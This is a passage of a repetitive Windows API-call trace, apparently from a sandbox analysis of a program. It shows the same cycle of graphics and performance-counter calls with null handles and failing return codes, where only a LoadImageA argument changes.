GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.878] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191056218, cy=27, fuLoad=0x0) returned 0x0 [0026.878] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.878] GetLastError () returned 0x715 [0026.878] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.878] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.878] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.878] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.878] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.879] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.879] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191037273, cy=27, fuLoad=0x0) returned 0x0 [0026.879] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.879] GetLastError () returned 0x715 [0026.879] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.879] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.879] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.879] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.879] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.879] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.879] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1191018328, cy=27, fuLoad=0x0) returned 0x0 [0026.879] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.880] GetLastError () returned 0x715 [0026.880] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.880] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.880] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.880] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.880] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.880] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.880] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190999383, cy=27, fuLoad=0x0) returned 0x0 [0026.880] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.880] GetLastError () returned 0x715 [0026.880] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.880] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.880] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.880] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.880] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.880] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.880] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190980438, cy=27, fuLoad=0x0) returned 0x0 [0026.880] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.881] GetLastError () returned 0x715 [0026.881] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.881] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.881] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.881] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.881] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.881] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.881] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190961493, cy=27, fuLoad=0x0) returned 0x0 [0026.881] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.881] GetLastError () returned 0x715 [0026.881] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.881] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.881] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.881] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.881] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.881] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.881] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190942548, cy=27, fuLoad=0x0) returned 0x0 [0026.881] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.882] GetLastError () returned 0x715 [0026.882] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.882] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.882] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.882] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.882] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.882] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.882] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190923603, cy=27, fuLoad=0x0) returned 0x0 [0026.882] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.882] GetLastError () returned 0x715 [0026.882] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.882] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.882] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.882] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.882] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.882] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.882] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190904658, cy=27, fuLoad=0x0) returned 0x0 [0026.882] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.882] GetLastError () returned 0x715 [0026.883] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.883] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.883] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.883] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.883] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.883] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.883] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190885713, cy=27, fuLoad=0x0) returned 0x0 [0026.883] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.883] GetLastError () returned 0x715 [0026.883] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.883] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.883] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.883] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.883] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.883] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.883] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190866768, cy=27, fuLoad=0x0) returned 0x0 [0026.883] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.883] GetLastError () returned 0x715 [0026.883] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.884] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.884] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.884] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.884] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.884] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.884] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190847823, cy=27, fuLoad=0x0) returned 0x0 [0026.884] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.884] GetLastError () returned 0x715 [0026.884] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.884] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.884] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.884] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.884] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.884] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.884] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190828878, cy=27, fuLoad=0x0) returned 0x0 [0026.884] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.884] GetLastError () returned 0x715 [0026.885] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.885] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.885] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.885] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.885] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.885] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.885] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190809933, cy=27, fuLoad=0x0) returned 0x0 [0026.885] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.885] GetLastError () returned 0x715 [0026.885] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.885] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.885] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.885] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.885] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.885] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.885] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190790988, cy=27, fuLoad=0x0) returned 0x0 [0026.885] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.886] GetLastError () returned 0x715 [0026.886] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.886] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.886] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.886] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.886] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.886] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.886] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190772043, cy=27, fuLoad=0x0) returned 0x0 [0026.886] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.886] GetLastError () returned 0x715 [0026.886] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.886] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.886] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.886] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.886] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.886] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.886] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190753098, cy=27, fuLoad=0x0) returned 0x0 [0026.886] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.886] GetLastError () returned 0x715 [0026.887] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.887] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.887] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.887] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.887] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.887] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.887] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190734153, cy=27, fuLoad=0x0) returned 0x0 [0026.887] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.887] GetLastError () returned 0x715 [0026.887] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.887] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.887] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.887] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.887] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.887] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.887] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190715208, cy=27, fuLoad=0x0) returned 0x0 [0026.887] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.887] GetLastError () returned 0x715 [0026.887] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.887] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.888] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.888] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.888] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.888] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.888] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190696263, cy=27, fuLoad=0x0) returned 0x0 [0026.888] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.888] GetLastError () returned 0x715 [0026.888] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.888] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.888] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.888] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.888] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.888] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.888] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190677318, cy=27, fuLoad=0x0) returned 0x0 [0026.888] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.888] GetLastError () returned 0x715 [0026.888] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.888] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.888] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.888] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.889] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.889] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.889] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190658373, cy=27, fuLoad=0x0) returned 0x0 [0026.889] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.889] GetLastError () returned 0x715 [0026.889] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.889] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.889] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.889] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.889] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.889] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.889] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190639428, cy=27, fuLoad=0x0) returned 0x0 [0026.889] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.889] GetLastError () returned 0x715 [0026.889] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.889] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.889] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.889] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.890] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.890] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.890] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190620483, cy=27, fuLoad=0x0) returned 0x0 [0026.890] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.890] GetLastError () returned 0x715 [0026.890] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.890] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.890] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.890] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.890] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.890] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.890] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190601538, cy=27, fuLoad=0x0) returned 0x0 [0026.890] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.890] GetLastError () returned 0x715 [0026.890] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.890] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.890] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.890] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.890] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.890] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.890] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190582593, cy=27, fuLoad=0x0) returned 0x0 [0026.891] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.891] GetLastError () returned 0x715 [0026.891] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.891] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.891] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.891] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.891] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.891] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.891] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190563648, cy=27, fuLoad=0x0) returned 0x0 [0026.891] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.891] GetLastError () returned 0x715 [0026.891] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.891] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.891] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.891] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.891] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.891] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.891] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190544703, cy=27, fuLoad=0x0) returned 0x0 [0026.891] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.892] GetLastError () returned 0x715 [0026.892] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.892] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.892] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.892] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.892] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.892] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.892] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190525758, cy=27, fuLoad=0x0) returned 0x0 [0026.892] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.892] GetLastError () returned 0x715 [0026.892] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.892] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.892] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.892] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.892] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.892] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.892] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190506813, cy=27, fuLoad=0x0) returned 0x0 [0026.892] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.893] GetLastError () returned 0x715 [0026.893] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.893] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.893] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.893] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.893] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.893] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.893] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190487868, cy=27, fuLoad=0x0) returned 0x0 [0026.893] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.893] GetLastError () returned 0x715 [0026.893] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.893] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.893] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.893] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.893] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.893] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.893] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190468923, cy=27, fuLoad=0x0) returned 0x0 [0026.893] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.894] GetLastError () returned 0x715 [0026.894] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.894] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.894] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.894] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.894] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.894] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.894] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190449978, cy=27, fuLoad=0x0) returned 0x0 [0026.894] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.894] GetLastError () returned 0x715 [0026.894] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.894] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.894] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.894] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.894] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.894] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.894] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190431033, cy=27, fuLoad=0x0) returned 0x0 [0026.895] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.895] GetLastError () returned 0x715 [0026.895] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.895] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | 